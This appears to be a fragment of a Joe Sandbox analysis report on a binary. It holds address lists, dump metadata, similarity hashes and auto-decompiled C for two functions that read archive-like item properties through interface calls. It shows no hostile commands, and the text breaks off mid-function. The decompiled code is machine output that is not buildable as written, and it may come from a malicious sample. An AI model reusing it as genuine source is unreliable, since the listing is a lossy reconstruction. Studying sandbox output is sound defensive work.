0x0040bd19
0x0040bd1f
0x0040bd2c
0x0040bd2f
0x0040bd32
0x0040bd35
0x0040bd37
0x0040bd39
0x00000000
0x00000000
0x0040bd43
0x0040bd46
0x0040bd4b
0x0040bd4b
0x00000000
0x0040bd32
0x0040bcbc
0x0040bcc0
0x0040bcc3
0x00000000
0x00000000
0x00000000
0x0040bc7e
0x0040bc7e
0x0040bc7f
0x0040bc8b
0x0040bc8f
0x0040bc93
0x0040bc9e
0x0040bca2
0x0040bca7
0x0040bcaa
0x0040bcab
0x0040bcad
0x00000000
0x0040bcad
0x0040bc7c
0x0040bd51
0x0040bd5f
0x0040bd61
0x0040bd98
0x0040bd9d
0x0040bd9f
0x0040bda3
0x0040bda6
0x0040bda9
0x0040bdac
0x0040bdaf
0x0040bdb5
0x0040bdb8
0x0040bdba
0x0040bdbe
0x0040bdcb
0x0040bdcb
0x0040bdc0
0x0040bdc7
0x0040bdc7
0x0040bdcd
0x0040bdcf
0x0040bdd1
0x0040bdd5
0x0040bdd8
0x0040bddb
0x0040bde0
0x0040bde0
0x0040bde3
0x0040bde9
0x0040bded
0x0040bdf2
0x0040bdf2
0x0040bdf4
0x0040bdf7
0x0040bdfc
0x0040be02
0x0040be08
0x0040be0e
0x0040be16
0x0040be18
0x0040be1a
0x00000000
0x00000000
0x0040be73
0x0040be76
0x0040beb5
0x0040beb7
0x0040beba
0x0040bebd
0x0040bec3
0x0040bec9
0x0040becc
0x0040bed2
0x0040bed5
0x0040bed7
0x0040bedb
0x0040bee8
0x0040bee8
0x0040bedd
0x0040bee4
0x0040bee4
0x0040beea
0x0040beec
0x0040beef
0x0040bef3
0x0040bef6
0x0040befb
0x0040befb
0x0040bf01
0x0040bf05
0x0040bf08
0x0040bf0a
0x0040bf0d
0x0040bf18
0x0040bf18
0x0040bf1e
0x0040bf29
0x0040bf39
0x0040bf3e
0x0040bf40
0x0040bf43
0x0040bfae
0x0040bfb1
0x0040bfd6
0x0040bfdc
0x0040bfe6
0x0040bff2
0x0040c010
0x0040c01a
0x0040c01e
0x0040c033
0x0040c038
0x0040c03a
0x0040c03d
0x0040c093
0x0040c099
0x0040c0ef
0x0040c0f1
0x0040c131
0x0040c137
0x0040c13a
0x0040c1c7
0x0040c238
0x0040c23d
0x0040c240
0x0040c243
0x0040c249
0x0040c24c
0x0040c24f
0x0040c255
0x0040c25b
0x0040c25e
0x00000000
0x0040c25e
0x0040c149
0x0040c14b
0x0040c14e
0x0040c150
0x0040c154
0x0040c1b7
0x0040c1b7
0x0040c1b9
0x0040c1be
0x0040c1be
0x0040c1c1
0x00000000
0x0040c1c1
0x0040c156
0x0040c158
0x0040c15d
0x0040c15d
0x0040c160
0x0040c163
0x0040c167
0x0040c169
0x0040c16e
0x0040c16e
0x0040c177
0x0040c17b
0x0040c180
0x0040c187
0x0040c18b
0x0040c18e
0x0040c196
0x0040c19a
0x0040c19f
0x0040c1a2
0x0040c1a6
0x0040c1a8
0x0040c1a8
0x0040c1ad
0x0040c1ad
0x0040c1b0
0x00000000
0x0040c1b0
0x0040c0f3
0x0040c0f6
0x0040c0fa
0x0040c0fc
0x0040c101
0x0040c101
0x0040c104
0x0040c107
0x0040c10b
0x0040c10d
0x0040c112
0x0040c112
0x0040c11b
0x0040c11f
0x0040c124
0x0040c12b
0x00000000
0x0040c12b
0x0040c0a4
0x0040c0a6
0x0040c0a9
0x0040c0ab
0x0040c0af
0x00000000
0x00000000
0x0040c0b5
0x0040c0b7
0x0040c0bc
0x0040c0bc
0x0040c0bf
0x0040c0c2
0x0040c0c6
0x0040c0c8
0x0040c0cd
0x0040c0cd
0x0040c0d6
0x0040c0da
0x0040c0df
0x0040c0e6
0x00000000
0x0040c0e6
0x0040c048
0x0040c04a
0x0040c04d
0x0040c04f
0x0040c053
0x00000000
0x00000000
0x0040c059
0x0040c05b
0x0040c060
0x0040c060
0x0040c063
0x0040c066
0x0040c06a
0x0040c06c
0x0040c071
0x0040c071
0x0040c07a
0x0040c07e
0x0040c083
0x0040c08a
0x00000000
0x0040c08a
0x0040bfb3
0x0040bfb6
0x0040bfba
0x0040bfbc
0x0040bfc5
0x0040bfc5
0x00000000
0x0040bf45
0x0040bf45
0x0040bf48
0x0040bf4c
0x0040bf4e
0x0040bf53
0x0040bf53
0x0040bf56
0x0040bf59
0x0040bf5d
0x0040bf5f
0x0040bf64
0x0040bf64
0x0040bf6d
0x0040bf71
0x0040bf76
0x0040bf80
0x0040bf84
0x0040bf8c
0x0040bf90
0x0040bf95
0x0040bf98
0x0040bf9c
0x0040bf9e
0x0040bfa3
0x0040bfa3
0x0040bfa6
0x00000000
0x0040bfa6
0x0040bf43
0x0040be7b
0x0040be7f
0x0040be8a
0x0040be8e
0x0040be96
0x0040be9a
0x0040be9f
0x0040be9f
0x0040be9f
0x0040bea6
0x00000000
0x0040bea6
0x0040be1c
0x0040be1f
0x0040be23
0x0040be25
0x0040be2a
0x0040be2a
0x0040be33
0x0040be37
0x0040be3c
0x0040be46
0x0040be4a
0x0040be52
0x0040be56
0x0040be5b
0x0040be5e
0x0040be62
0x0040be64
0x0040be69
0x0040be69
0x0040be6c
0x00000000
0x0040be6c
0x0040bd63
0x0040bd6d
0x0040bd71
0x0040bd79
0x0040bd7d
0x0040bd82
0x0040bd85
0x0040bd89
0x00000000
0x0040bc23
0x0040bc23
0x0040bc26
0x0040bc2c
0x0040bc35
0x0040bc35
0x0040beab
0x0040beab
0x0040c270
0x0040c275
0x0040c27e
0x0040c27e

APIs

__EH_prolog.LIBCMT ref: 0040BBCE

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e20e68f67df63d5f9e9ba5d17b85cf5a5e4b904928eba79c37a56f5e811e61d3
Instruction ID: 754c2283aee26f26976a66738bb4ef570e525f81dc1fbbef9a6f78583ad2e2a8
Opcode Fuzzy Hash: e20e68f67df63d5f9e9ba5d17b85cf5a5e4b904928eba79c37a56f5e811e61d3
Instruction Fuzzy Hash: 5B325D70904249DFDB10DFA8C584ADEBBB4AF58304F1441AEE855BB3C2CB78AE45CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040280D Relevance: 1.9, APIs: 1, Instructions: 384
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040280D() {
				void* __ebx;
				intOrPtr* _t185;
				intOrPtr* _t186;
				signed int _t187;
				signed int _t195;
				intOrPtr* _t196;
				signed int _t197;
				intOrPtr _t198;
				intOrPtr* _t199;
				intOrPtr* _t204;
				intOrPtr* _t207;
				signed int _t208;
				signed int _t209;
				FILETIME* _t217;
				signed int _t226;
				signed int _t227;
				FILETIME* _t228;
				FILETIME* _t244;
				signed int _t270;
				intOrPtr _t289;
				WCHAR* _t315;
				signed int _t338;
				signed int _t340;
				signed int _t342;
				intOrPtr _t344;
				intOrPtr* _t346;
				signed int _t347;
				void* _t348;

				E00413954(E0041921B, _t348);
				_t344 =  *((intOrPtr*)(_t348 + 8));
				if(E00402D80(_t344 + 0xa8) == 0) {
					_t185 =  *((intOrPtr*)(_t344 + 0x4c));
					_t270 = 0;
					__eflags = _t185;
					if(_t185 != 0) {
						 *((intOrPtr*)( *_t185 + 8))(_t185);
						 *((intOrPtr*)(_t344 + 0x4c)) = 0;
					}
					 *(_t348 - 0x58) = _t270;
					 *(_t348 - 0x56) = _t270;
					_t186 =  *((intOrPtr*)(_t344 + 0xc));
					_t338 =  *(_t348 + 0xc);
					 *(_t348 - 4) = _t270;
					_t187 =  *((intOrPtr*)( *_t186 + 0x18))(_t186, _t338, 3, _t348 - 0x58);
					__eflags = _t187 - _t270;
					if(_t187 == _t270) {
						 *(_t348 - 0x18) = _t270;
						 *(_t348 - 0x14) = _t270;
						 *(_t348 - 0x10) = _t270;
						E00402170(_t348 - 0x18, 3);
						__eflags =  *(_t348 - 0x58) - _t270;
						 *(_t348 - 4) = 1;
						if( *(_t348 - 0x58) != _t270) {
							__eflags =  *(_t348 - 0x58) - 8;
							if( *(_t348 - 0x58) == 8) {
								E00401D1B(_t348 - 0x18,  *((intOrPtr*)(_t348 - 0x50)));
								L12:
								E00401D7A(_t344 + 0x1c, _t348 - 0x18);
								__eflags =  *((intOrPtr*)(_t348 + 0x14)) - _t270;
								if( *((intOrPtr*)(_t348 + 0x14)) != _t270) {
									 *( *(_t348 + 0x10)) = _t270;
									L61:
									E00403A9C( *(_t348 - 0x18));
									 *(_t348 - 4) =  *(_t348 - 4) | 0xffffffff;
									E00405E34(_t348 - 0x58);
									_t195 = 0;
									__eflags = 0;
									goto L62;
								}
								 *(_t348 - 0x28) = _t270;
								 *(_t348 - 0x26) = _t270;
								_t196 =  *((intOrPtr*)(_t344 + 0xc));
								 *(_t348 - 4) = 2;
								_t197 =  *((intOrPtr*)( *_t196 + 0x18))(_t196, _t338, 9, _t348 - 0x28);
								__eflags = _t197 - _t270;
								if(_t197 == _t270) {
									__eflags =  *(_t348 - 0x28) - _t270;
									if( *(_t348 - 0x28) != _t270) {
										__eflags =  *(_t348 - 0x28) - 0x13;
										if( *(_t348 - 0x28) == 0x13) {
											_t198 =  *((intOrPtr*)(_t348 - 0x20));
											L20:
											 *((intOrPtr*)(_t344 + 0x44)) = _t198;
											_t199 =  *((intOrPtr*)(_t344 + 0xc));
											_t197 =  *((intOrPtr*)( *_t199 + 0x18))(_t199, _t338, 6, _t348 - 0x28);
											__eflags = _t197 - _t270;
											if(_t197 != _t270) {
												goto L14;
											}
											__eflags =  *((intOrPtr*)(_t348 - 0x20)) - _t270;
											 *(_t348 + 0xb) = _t270;
											 *(_t348 - 0x74) = _t270;
											 *(_t348 - 0x72) = _t270;
											 *((char*)(_t344 + 0x40)) = _t197 & 0xffffff00 |  *((intOrPtr*)(_t348 - 0x20)) != _t270;
											_t204 =  *((intOrPtr*)(_t344 + 0xc));
											 *(_t348 - 4) = 3;
											_t340 =  *((intOrPtr*)( *_t204 + 0x18))(_t204, _t338, 0x15, _t348 - 0x74);
											__eflags = _t340 - _t270;
											if(_t340 == _t270) {
												__eflags =  *(_t348 - 0x74) - 0xb;
												if( *(_t348 - 0x74) == 0xb) {
													__eflags =  *((intOrPtr*)(_t348 - 0x6c)) - _t270;
													_t66 = _t348 + 0xb;
													 *_t66 =  *((intOrPtr*)(_t348 - 0x6c)) != _t270;
													__eflags =  *_t66;
												}
												 *(_t348 - 4) = 2;
												E00405E34(_t348 - 0x74);
												_t207 =  *((intOrPtr*)(_t344 + 0xc));
												_t197 =  *((intOrPtr*)( *_t207 + 0x18))(_t207,  *(_t348 + 0xc), 0xc, _t348 - 0x28);
												__eflags = _t197 - _t270;
												if(_t197 != _t270) {
													goto L14;
												} else {
													_t208 =  *(_t348 - 0x28) & 0x0000ffff;
													__eflags = _t208 - _t270;
													if(_t208 == _t270) {
														_t209 = _t344 + 0x38;
														 *(_t348 + 0xc) = _t209;
														 *_t209 =  *((intOrPtr*)(_t344 + 0x5c));
														_t289 =  *((intOrPtr*)(_t344 + 0x60));
														L30:
														 *((intOrPtr*)(_t209 + 4)) = _t289;
														E00402155(_t348 - 0x3c);
														_t341 = 0x41b370;
														 *((intOrPtr*)(_t348 - 0x3c)) = 0x41b370;
														 *(_t348 - 4) = 4;
														E004044BC(_t348 - 0x18, _t348 - 0x3c, __eflags);
														__eflags =  *((intOrPtr*)(_t348 - 0x34)) - _t270;
														if( *((intOrPtr*)(_t348 - 0x34)) != _t270) {
															E00401CE1(_t348 - 0x64, _t348 - 0x18);
															__eflags =  *((intOrPtr*)(_t344 + 0x40)) - _t270;
															 *(_t348 - 4) = 6;
															if( *((intOrPtr*)(_t344 + 0x40)) == _t270) {
																E004042DE(_t348 - 0x3c);
															}
															__eflags =  *((intOrPtr*)(_t348 - 0x34)) - _t270;
															if( *((intOrPtr*)(_t348 - 0x34)) != _t270) {
																__eflags =  *(_t348 + 0xb) - _t270;
																if( *(_t348 + 0xb) == _t270) {
																	_push(_t348 - 0x3c); // executed
																	E004027A6(_t344); // executed
																}
															}
															_t335 = _t344 + 0x10;
															_push(_t348 - 0x64);
															E00402634(_t348 - 0x48, _t344 + 0x10);
															__eflags =  *((intOrPtr*)(_t344 + 0x40)) - _t270;
															 *(_t348 - 4) = 7;
															if( *((intOrPtr*)(_t344 + 0x40)) == _t270) {
																E00402EE1(_t348 - 0x84);
																_push( *((intOrPtr*)(_t348 - 0x48)));
																 *(_t348 - 4) = 9;
																_t217 = E00405841(_t348 - 0xac, _t335); // executed
																__eflags = _t217;
																if(_t217 == 0) {
																	L48:
																	__eflags =  *(_t348 + 0xb) - _t270;
																	if( *(_t348 + 0xb) != _t270) {
																		L59:
																		E00401D7A(_t344 + 0x28, _t348 - 0x48);
																		E00403A9C( *((intOrPtr*)(_t348 - 0x84)));
																		E00403A9C( *((intOrPtr*)(_t348 - 0x48)));
																		E00403A9C( *((intOrPtr*)(_t348 - 0x64)));
																		 *((intOrPtr*)(_t348 - 0x3c)) = _t341;
																		 *(_t348 - 4) = 0xd;
																		E004042D6();
																		 *(_t348 - 4) = 2;
																		E004042AD(_t348 - 0x3c);
																		 *(_t348 - 4) = 1;
																		E00405E34(_t348 - 0x28);
																		goto L61;
																	}
																	_push(0x18);
																	_t226 = E00403A76();
																	__eflags = _t226 - _t270;
																	if(_t226 == _t270) {
																		_t342 = 0;
																		__eflags = 0;
																	} else {
																		 *(_t226 + 4) = _t270;
																		 *(_t226 + 8) =  *(_t226 + 8) | 0xffffffff;
																		 *_t226 = 0x41b354;
																		_t342 = _t226;
																	}
																	__eflags = _t342 - _t270;
																	 *(_t344 + 0x48) = _t342;
																	 *(_t348 + 0xc) = _t342;
																	if(_t342 != _t270) {
																		 *((intOrPtr*)( *_t342 + 4))(_t342);
																	}
																	_t227 =  *(_t344 + 0x48);
																	 *(_t227 + 0x10) = _t270;
																	 *(_t348 - 4) = 0xb;
																	 *(_t227 + 0x14) = _t270;
																	_t228 = E00405C43( *((intOrPtr*)(_t348 - 0x48)), 1);
																	__eflags = _t228;
																	if(_t228 != 0) {
																		E0040640D(_t344 + 0x4c, _t342);
																		 *(_t348 - 4) = 9;
																		 *( *(_t348 + 0x10)) = _t342;
																		_t341 = 0x41b370;
																		goto L59;
																	} else {
																		E00401D1B(_t344 + 0xe4,  *0x420280);
																		__eflags = _t342 - _t270;
																		 *(_t348 - 4) = 9;
																		if(_t342 != _t270) {
																			 *((intOrPtr*)( *_t342 + 8))(_t342);
																		}
																		E00403A9C( *((intOrPtr*)(_t348 - 0x84)));
																		E00403A9C( *((intOrPtr*)(_t348 - 0x48)));
																		E00403A9C( *((intOrPtr*)(_t348 - 0x64)));
																		 *((intOrPtr*)(_t348 - 0x3c)) = 0x41b370;
																		 *(_t348 - 4) = 0xc;
																		E004042D6();
																		 *(_t348 - 4) = 2;
																		E004042AD(_t348 - 0x3c);
																		 *(_t348 - 4) = 1;
																		E00405E34(_t348 - 0x28);
																		E00403A9C( *(_t348 - 0x18));
																		 *(_t348 - 4) =  *(_t348 - 4) | 0xffffffff;
																		E00405E34(_t348 - 0x58);
																		_t195 = 0x80004005;
																		goto L62;
																	}
																}
																_t244 = E00404BFA(_t270,  *((intOrPtr*)(_t348 - 0x48)));
																__eflags = _t244;
																if(_t244 != 0) {
																	goto L48;
																}
																E00401D1B(_t344 + 0xe4,  *0x42027c);
																E00403A9C( *((intOrPtr*)(_t348 - 0x84)));
																E00403A9C( *((intOrPtr*)(_t348 - 0x48)));
																E00403A9C( *((intOrPtr*)(_t348 - 0x64)));
																 *((intOrPtr*)(_t348 - 0x3c)) = _t341;
																 *(_t348 - 4) = 0xa;
																L45:
																_t270 = 0x80004005;
																goto L46;
															} else {
																_t346 = _t344 + 0x28;
																E00401D7A(_t346, _t348 - 0x48);
																__eflags =  *(_t348 + 0xb) - _t270;
																_t315 =  *_t346;
																if( *(_t348 + 0xb) == _t270) {
																	__eflags = 0;
																	E0040483F(_t315, 0, _t270,  *(_t348 + 0xc));
																} else {
																	E0040494E(_t315);
																}
																E00403A9C( *((intOrPtr*)(_t348 - 0x48)));
																E00403A9C( *((intOrPtr*)(_t348 - 0x64)));
																 *((intOrPtr*)(_t348 - 0x3c)) = _t341;
																 *(_t348 - 4) = 8;
																L46:
																E004042D6();
																 *(_t348 - 4) = 2;
																E004042AD(_t348 - 0x3c);
																L47:
																 *(_t348 - 4) = 1;
																E00405E34(_t348 - 0x28);
																E00403A9C( *(_t348 - 0x18));
																 *(_t348 - 4) =  *(_t348 - 4) | 0xffffffff;
																E00405E34(_t348 - 0x58);
																_t195 = _t270;
																goto L62;
															}
														}
														 *((intOrPtr*)(_t348 - 0x3c)) = 0x41b370;
														 *(_t348 - 4) = 5;
														goto L45;
													}
													__eflags = _t208 - 0x40;
													if(_t208 != 0x40) {
														goto L18;
													}
													_t209 = _t344 + 0x38;
													 *(_t348 + 0xc) = _t209;
													 *_t209 =  *((intOrPtr*)(_t348 - 0x20));
													_t289 =  *((intOrPtr*)(_t348 - 0x1c));
													goto L30;
												}
											}
											 *(_t348 - 4) = 2;
											E00405E34(_t348 - 0x74);
											 *(_t348 - 4) = 1;
											E00405E34(_t348 - 0x28);
											E00403A9C( *(_t348 - 0x18));
											 *(_t348 - 4) =  *(_t348 - 4) | 0xffffffff;
											E00405E34(_t348 - 0x58);
											_t195 = _t340;
											goto L62;
										}
										L18:
										_t270 = 0x80004005;
										goto L47;
									}
									_t198 =  *((intOrPtr*)(_t344 + 0x64));
									goto L20;
								}
								L14:
								_t270 = _t197;
								goto L47;
							}
							E00403A9C( *(_t348 - 0x18));
							_t347 = 0x80004005;
							goto L10;
						}
						E00401D7A(_t348 - 0x18, _t344 + 0x50);
						goto L12;
					} else {
						_t347 = _t187;
						L10:
						 *(_t348 - 4) =  *(_t348 - 4) | 0xffffffff;
						E00405E34(_t348 - 0x58);
						_t195 = _t347;
						L62:
						 *[fs:0x0] =  *((intOrPtr*)(_t348 - 0xc));
						return _t195;
					}
				}
				_t195 = 0x80004004;
				goto L62;
			}

0x00402812
0x0040281f
0x00402830
0x0040283c
0x0040283f
0x00402841
0x00402843
0x00402848
0x0040284b
0x0040284b
0x0040284e
0x00402852
0x00402856
0x00402859
0x0040285f
0x00402869
0x0040286c
0x0040286e
0x00402879
0x0040287c
0x0040287f
0x00402882
0x00402887
0x0040288b
0x0040288f
0x0040289f
0x004028a4
0x004028cd
0x004028d2
0x004028d9
0x004028de
0x004028e1
0x00402cc1
0x00402cc3
0x00402cc6
0x00402ccb
0x00402cd3
0x00402cd8
0x00402cd8
0x00000000
0x00402cd8
0x004028e7
0x004028eb
0x004028ef
0x004028fc
0x00402900
0x00402903
0x00402905
0x0040290e
0x00402912
0x00402919
0x0040291e
0x0040292a
0x0040292d
0x0040292d
0x00402930
0x0040293d
0x00402940
0x00402942
0x00000000
0x00000000
0x00402944
0x00402948
0x0040294b
0x0040294f
0x00402956
0x00402959
0x00402966
0x0040296d
0x0040296f
0x00402971
0x004029a7
0x004029ac
0x004029ae
0x004029b2
0x004029b2
0x004029b2
0x004029b2
0x004029b9
0x004029bd
0x004029c2
0x004029d1
0x004029d4
0x004029d6
0x00000000
0x004029dc
0x004029dc
0x004029e0
0x004029e2
0x00402a00
0x00402a03
0x00402a06
0x00402a08
0x00402a0b
0x00402a0b
0x00402a11
0x00402a16
0x00402a1b
0x00402a24
0x00402a28
0x00402a2d
0x00402a30
0x00402a45
0x00402a4a
0x00402a4d
0x00402a51
0x00402a56
0x00402a56
0x00402a5b
0x00402a5e
0x00402a60
0x00402a63
0x00402a6a
0x00402a6b
0x00402a6b
0x00402a63
0x00402a73
0x00402a76
0x00402a7a
0x00402a7f
0x00402a82
0x00402a86
0x00402ad0
0x00402ad5
0x00402ade
0x00402ae2
0x00402ae7
0x00402ae9
0x00402b72
0x00402b72
0x00402b75
0x00402c6b
0x00402c72
0x00402c7d
0x00402c85
0x00402c8d
0x00402c95
0x00402c9b
0x00402c9f
0x00402ca7
0x00402cab
0x00402cb3
0x00402cb7
0x00000000
0x00402cb7
0x00402b7b
0x00402b7d
0x00402b82
0x00402b85
0x00402b98
0x00402b98
0x00402b87
0x00402b87
0x00402b8a
0x00402b8e
0x00402b94
0x00402b94
0x00402b9a
0x00402b9c
0x00402b9f
0x00402ba2
0x00402ba7
0x00402ba7
0x00402bad
0x00402bb3
0x00402bb9
0x00402bbd
0x00402bc0
0x00402bc5
0x00402bc7
0x00402c58
0x00402c60
0x00402c64
0x00402c66
0x00000000
0x00402bcd
0x00402bd9
0x00402bde
0x00402be0
0x00402be4
0x00402be9
0x00402be9
0x00402bf2
0x00402bfa
0x00402c02
0x00402c0a
0x00402c14
0x00402c18
0x00402c20
0x00402c24
0x00402c2c
0x00402c30
0x00402c38
0x00402c3d
0x00402c45
0x00402c4a
0x00000000
0x00402c4a
0x00402bc7
0x00402af2
0x00402af7
0x00402af9
0x00000000
0x00000000
0x00402b07
0x00402b12
0x00402b1a
0x00402b22
0x00402b2a
0x00402b2d
0x00402b31
0x00402b31
0x00000000
0x00402a88
0x00402a88
0x00402a91
0x00402a96
0x00402a99
0x00402a9b
0x00402aa7
0x00402aaa
0x00402a9d
0x00402a9d
0x00402a9d
0x00402ab2
0x00402aba
0x00402ac0
0x00402ac4
0x00402b36
0x00402b39
0x00402b41
0x00402b45
0x00402b4a
0x00402b4d
0x00402b51
0x00402b59
0x00402b5e
0x00402b66
0x00402b6b
0x00000000
0x00402b6b
0x00402a86
0x00402a32
0x00402a35
0x00000000
0x00402a35
0x004029e4
0x004029e7
0x00000000
0x00000000
0x004029f0
0x004029f3
0x004029f6
0x004029f8
0x00000000
0x004029f8
0x004029d6
0x00402976
0x0040297a
0x00402982
0x00402986
0x0040298e
0x00402993
0x0040299b
0x004029a0
0x00000000
0x004029a0
0x00402920
0x00402920
0x00000000
0x00402920
0x00402914
0x00000000
0x00402914
0x00402907
0x00402907
0x00000000
0x00402907
0x004028a9
0x004028af
0x00000000
0x004028af
0x00402898
0x00000000
0x00402870
0x00402870
0x004028b4
0x004028b4
0x004028bb
0x004028c0
0x00402cda
0x00402ce0
0x00402ce8
0x00402ce8
0x0040286e
0x00402832
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00402812

Part of subcall function 00402D80: EnterCriticalSection.KERNEL32(?,?,?,004095B9), ref: 00402D85
Part of subcall function 00402D80: LeaveCriticalSection.KERNEL32(?,?,?,?,004095B9), ref: 00402D8F

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterH_prologLeave
String ID:
API String ID: 367238759-0
Opcode ID: 71e1dc36bd9d06b7d898947adcd583decfbfe7f4f6cc64154346a2ad7b3dab8a
Instruction ID: 6b86c84e82b28a82bfdc9d9b9477fa58d6923614df4f06b31c284573bb568367
Opcode Fuzzy Hash: 71e1dc36bd9d06b7d898947adcd583decfbfe7f4f6cc64154346a2ad7b3dab8a
Instruction Fuzzy Hash: 14F1AD30900249DFCF14EFA5C989ADEBBB4AF54318F14806EE445B72E2DB789A45CF19

Uniqueness

Uniqueness Score: -1.00%

Function 00408A3B Relevance: 1.9, APIs: 1, Instructions: 374
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00408A3B(intOrPtr __ecx) {
				intOrPtr _t181;
				signed int _t184;
				signed int* _t187;
				intOrPtr _t188;
				signed int* _t191;
				signed int* _t193;
				void* _t194;
				signed int* _t195;
				void* _t197;
				signed int* _t198;
				void* _t200;
				signed int* _t201;
				intOrPtr _t205;
				signed int* _t207;
				signed int* _t208;
				signed int* _t209;
				intOrPtr* _t213;
				intOrPtr* _t215;
				intOrPtr _t216;
				intOrPtr* _t217;
				intOrPtr* _t220;
				signed int* _t222;
				signed int* _t223;
				signed int* _t224;
				intOrPtr* _t232;
				signed int* _t234;
				signed int* _t235;
				signed int* _t236;
				intOrPtr* _t243;
				signed int* _t245;
				signed int* _t246;
				signed int* _t247;
				intOrPtr _t255;
				signed int _t266;
				signed int _t307;
				signed int _t313;
				intOrPtr _t317;
				signed int** _t319;
				intOrPtr _t320;
				void* _t322;

				E00413954(E00419B47, _t322);
				_push(_t313);
				 *((intOrPtr*)(_t322 - 0x20)) = __ecx;
				E00408A27(__ecx);
				if( *((intOrPtr*)( *((intOrPtr*)(_t322 + 0xc)) + 8)) < 0x20) {
					while(1) {
						_t317 =  *((intOrPtr*)(_t322 + 0xc));
						_t307 = 1;
						_t313 = _t313 | 0xffffffff;
						_t181 =  *((intOrPtr*)(_t317 + 8));
						 *(_t322 - 0x24) = _t313;
						if(_t181 < _t307) {
							goto L6;
						}
						L4:
						_t266 =  *( *((intOrPtr*)(_t322 - 0x20)) + 8);
						if(_t266 >= _t181) {
							L76:
							 *((char*)( *((intOrPtr*)(_t322 - 0x20)) + 0x30)) = _t266 & 0xffffff00 |  *( *((intOrPtr*)(_t322 - 0x20)) + 8) != 0x00000000;
							_t184 = 0;
							goto L77;
						}
						 *(_t322 - 0x24) =  *( *((intOrPtr*)(_t317 + 0xc)) + (_t181 - _t266) * 4 - 4);
						L7:
						if(_t266 != 0) {
							 *(_t322 - 0x38) = 0;
							 *((short*)(_t322 - 0x36)) = 0;
							_t319 =  *( *((intOrPtr*)( *((intOrPtr*)(_t322 - 0x20)) + 0xc)) + _t266 * 4 - 4);
							_t187 =  *_t319;
							 *(_t322 - 4) = _t307;
							_t188 =  *((intOrPtr*)( *_t187 + 0x20))(_t187, _t307, _t322 - 0x38);
							if(_t188 != 0) {
								L35:
								 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
								_t320 = _t188;
								E00405E34(_t322 - 0x38);
								L71:
								_t184 = _t320;
								goto L77;
							}
							if( *(_t322 - 0x38) != 0x13) {
								L75:
								 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
								_t266 = _t322 - 0x38;
								E00405E34(_t266);
								goto L76;
							}
							_t191 =  *_t319;
							_t313 =  *(_t322 - 0x30);
							_t188 =  *((intOrPtr*)( *_t191 + 0x14))(_t191, _t322 - 0x3c);
							if(_t188 != 0) {
								goto L35;
							}
							if(_t313 >=  *((intOrPtr*)(_t322 - 0x3c))) {
								goto L75;
							}
							 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
							E00405E34(_t322 - 0x38);
							 *(_t322 - 0x10) = 0;
							_t193 =  *_t319;
							_t266 =  *_t193;
							 *(_t322 - 4) = 2;
							_t194 =  *_t266(_t193, 0x41b228, _t322 - 0x10);
							_t195 =  *(_t322 - 0x10);
							if(_t194 != 0 || _t195 == 0) {
								 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
								goto L52;
							} else {
								 *(_t322 - 0x14) = 0;
								_t266 =  *_t195;
								 *(_t322 - 4) = 3;
								_t197 =  *((intOrPtr*)(_t266 + 0xc))(_t195, _t313, _t322 - 0x14);
								_t198 =  *(_t322 - 0x14);
								if(_t197 != 0 || _t198 == 0) {
									 *(_t322 - 4) = 2;
									goto L49;
								} else {
									 *(_t322 - 0x18) = 0;
									_t266 =  *_t198;
									 *(_t322 - 4) = 4;
									_t200 =  *_t266(_t198, 0x41b2f8, _t322 - 0x18);
									_t201 =  *(_t322 - 0x18);
									if(_t200 != 0 || _t201 == 0) {
										 *(_t322 - 4) = 3;
										goto L46;
									} else {
										E00408EA0(_t322 - 0x78);
										_push(_t322 - 0x74);
										_push(_t313);
										 *(_t322 - 4) = 5;
										_t205 = E0040836D(_t319);
										 *((intOrPtr*)(_t322 - 0x28)) = _t205;
										if(_t205 != 0) {
											 *(_t322 - 4) = 4;
											E004038C2(_t322 - 0x78);
											_t207 =  *(_t322 - 0x18);
											 *(_t322 - 4) = 3;
											if(_t207 != 0) {
												 *((intOrPtr*)( *_t207 + 8))(_t207);
											}
											_t208 =  *(_t322 - 0x14);
											 *(_t322 - 4) = 2;
											if(_t208 != 0) {
												 *((intOrPtr*)( *_t208 + 8))(_t208);
											}
											_t209 =  *(_t322 - 0x10);
											 *(_t322 - 4) =  *(_t322 - 4) | 0xffffffff;
											if(_t209 != 0) {
												 *((intOrPtr*)( *_t209 + 8))(_t209);
											}
											_t184 =  *((intOrPtr*)(_t322 - 0x28));
											goto L77;
										}
										 *((intOrPtr*)(_t322 - 0x1c)) = 0;
